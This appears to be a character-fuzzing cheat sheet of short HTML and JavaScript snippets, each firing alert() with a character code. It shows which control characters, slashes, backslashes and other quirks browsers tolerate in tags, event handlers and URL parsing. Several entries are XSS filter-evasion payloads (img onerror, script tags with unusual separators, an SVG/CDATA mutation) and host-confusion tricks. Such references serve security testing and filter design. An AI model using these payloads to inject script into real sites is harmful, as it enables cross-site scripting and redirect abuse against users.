Cheat Sheet

"1337"⟦09⟧in0x09alert(9)

"1337"
in
alert(10)

"1337"0x0Bin0x0Balert(11)

"1337"0x0Cin0x0Calert(12)

"1337"0x0Din0x0Dalert(13)

s = "0";0x0D
if (typeof s["0x00__proto__"] != "undefined") {0x0D
    alert(fromCodePoint(0));0x0D
}

anchor.href='//example.com';0x0D
let chr = String.fromCodePoint(33);0x0D
anchor.hash = chr;0x0D
if(anchor.hash.slice(1).includes(chr))alert(33)

anchor.href='//example.com';0x0D
let chr = String.fromCodePoint(36);0x0D
anchor.hash = chr;0x0D
if(anchor.hash.slice(1).includes(chr))alert(36)

anchor.href='//example.com';0x0D
let chr = String.fromCodePoint(37);0x0D
anchor.hash = chr;0x0D
if(anchor.hash.slice(1).includes(chr))alert(37)

anchor.href='//example.com';0x0D
let chr = String.fromCodePoint(38);0x0D
anchor.hash = chr;0x0D
if(anchor.hash.slice(1).includes(chr))alert(38)

anchor.href='//example.com';0x0D
let chr = String.fromCodePoint(39);0x0D
anchor.hash = chr;0x0D
if(anchor.hash.slice(1).includes(chr))alert(39)

<a href="0x01//example2.com" id=x></a>

<a href="0x02//example2.com" id=x></a>

<a href="0x03//example2.com" id=x></a>

<a href="0x04//example2.com" id=x></a>

<a href="0x05//example2.com" id=x></a>

try{0x0D
   encodeURIComponent(String.fromCodePoint(55296))0x0D
} catch {0x0D
   alert(55296);0x0D
} 

try{0x0D
   encodeURIComponent(String.fromCodePoint(55297))0x0D
} catch {0x0D
   alert(55297);0x0D
} 

try{0x0D
   encodeURIComponent(String.fromCodePoint(55298))0x0D
} catch {0x0D
   alert(55298);0x0D
} 

try{0x0D
   encodeURIComponent(String.fromCodePoint(55299))0x0D
} catch {0x0D
   alert(55299);0x0D
} 

try{0x0D
   encodeURIComponent(String.fromCodePoint(55300))0x0D
} catch {0x0D
   alert(55300);0x0D
} 

anchor.href='//example.com';0x0D
anchor.username = String.fromCodePoint(33);0x0D
if(!/%/.test(anchor+''))alert(33)

anchor.href='//example.com';0x0D
anchor.username = String.fromCodePoint(36);0x0D
if(!/%/.test(anchor+''))alert(36)

anchor.href='//example.com';0x0D
anchor.username = String.fromCodePoint(38);0x0D
if(!/%/.test(anchor+''))alert(38)

anchor.href='//example.com';0x0D
anchor.username = String.fromCodePoint(40);0x0D
if(!/%/.test(anchor+''))alert(40)

anchor.href='//example.com';0x0D
anchor.username = String.fromCodePoint(41);0x0D
if(!/%/.test(anchor+''))alert(41)

anchor.href='http://example.com';0x0D
anchor.protocol = 'http' + String.fromCodePoint(83) + ':';0x0D
if(!/http:/.test(anchor.protocol+''))alert(83)

anchor.href='http://example.com';0x0D
anchor.protocol = 'http' + String.fromCodePoint(115) + ':';0x0D
if(!/http:/.test(anchor.protocol+''))alert(115)

anchor.href='//example.com';0x0D
anchor.username = encodeURIComponent(String.fromCodePoint(33));0x0D
if(!/%/.test(anchor+''))alert(33)

anchor.href='//example.com';0x0D
anchor.username = encodeURIComponent(String.fromCodePoint(39));0x0D
if(!/%/.test(anchor+''))alert(39)

anchor.href='//example.com';0x0D
anchor.username = encodeURIComponent(String.fromCodePoint(40));0x0D
if(!/%/.test(anchor+''))alert(40)

anchor.href='//example.com';0x0D
anchor.username = encodeURIComponent(String.fromCodePoint(41));0x0D
if(!/%/.test(anchor+''))alert(41)

<img src onerror=alert(61)>

const x⟦09⟧="x"0x0D
if(x==="x"){alert(9)}

const x
="x"0x0D
if(x==="x"){alert(10)}

const x0x0B="x"0x0D
if(x==="x"){alert(11)}

const x0x0C="x"0x0D
if(x==="x"){alert(12)}

const x0x0D="x"0x0D
if(x==="x"){alert(13)}

<img src=x onerror=0x09alert(9)>

<img src=x onerror=
alert(10)>

<img src=x onerror=0x0Balert(11)>

<img src=x onerror=0x0Calert(12)>

<img src=x onerror=0x0Dalert(13)>

<script0x09>alert(9)</script>

<script
>alert(10)</script>

<script0x0C>alert(12)</script>

<script0x0D>alert(13)</script>

<script >alert(32)</script>

if (new URL("https://a.com0x00/b").host=="a.com"){0x0D
  var t=document.createElement("a");0x0D
  t.href="https://a.com0x00/b";0x0D
  if (t.host != "a.com")0x0D
  {0x0D
    alert(0);0x0D
  }0x0D
}0x0D
if (new URL("https://0x00a.com/b").host=="a.com"){0x0D
  var t=document.createElement("a");0x0D
  t.href="https://0x00a.com/b";0x0D
  if (t.host != "a.com")0x0D
  {0x0D
    alert(0);0x0D
  }0x0D
}

<a href="/0x09/example2.com" id=x></a>

<a href="/
/example2.com" id=x></a>

<a href="/0x0D/example2.com" id=x></a>

<a href="///example2.com" id=x></a>

<a href="/\/example2.com" id=x></a>

<a href="https://example2.com" id=x></a>

<a href="https:\\example2.com" id=x></a>

<a href="//0x09example2.com" id=x></a>

<a href="//
example2.com" id=x></a>

<a href="//0x0Dexample2.com" id=x></a>

<a href="///example2.com" id=x></a>

<a href="//@example2.com" id=x></a>

<svg><style>⟦0D⟧
x = "<![CDATA[</style><img title="]]]></style></svg><img src onerror=alert(93)>">

var markup = `<a0x09id=xss>shirley</a>`0x0D
var dom = new DOMParser().parseFromString(markup,'text/html')0x0D
0x0D
if(dom.getElementById('xss')){0x0D
     alert(9)0x0D
 }0x0D
0x0D
0x0D

var markup = `<a
id=xss>shirley</a>`0x0D
var dom = new DOMParser().parseFromString(markup,'text/html')0x0D
0x0D
if(dom.getElementById('xss')){0x0D
     alert(10)0x0D
 }0x0D
0x0D
0x0D

var markup = `<a0x0Cid=xss>shirley</a>`0x0D
var dom = new DOMParser().parseFromString(markup,'text/html')0x0D
0x0D
if(dom.getElementById('xss')){0x0D
     alert(12)0x0D
 }0x0D
0x0D
0x0D

var markup = `<a0x0Did=xss>shirley</a>`0x0D
var dom = new DOMParser().parseFromString(markup,'text/html')0x0D
0x0D
if(dom.getElementById('xss')){0x0D
     alert(13)0x0D
 }0x0D
0x0D
0x0D

var markup = `<a id=xss>shirley</a>`0x0D
var dom = new DOMParser().parseFromString(markup,'text/html')0x0D
0x0D
if(dom.getElementById('xss')){0x0D
     alert(32)0x0D
 }0x0D
0x0D
0x0D

if('1337' + String.fromCodePoint(9) + String.fromCodePoint(9) == 1337){alert(9)}

if('1337' + String.fromCodePoint(10) + String.fromCodePoint(10) == 1337){alert(10)}

if('1337' + String.fromCodePoint(11) + String.fromCodePoint(11) == 1337){alert(11)}

if('1337' + String.fromCodePoint(12) + String.fromCodePoint(12) == 1337){alert(12)}

if('1337' + String.fromCodePoint(13) + String.fromCodePoint(13) == 1337){alert(13)}

if (new URL("https://0x09google.com/endpoint").host=="google.com"){alert(9)}

if (new URL("https:///google.com/endpoint").host=="google.com"){alert(47)}

if (new URL("https://@google.com/endpoint").host=="google.com"){alert(64)}

if (new URL("https://\google.com/endpoint").host=="google.com"){alert(92)}

if (new URL("https://­google.com/endpoint").host=="google.com"){alert(173)}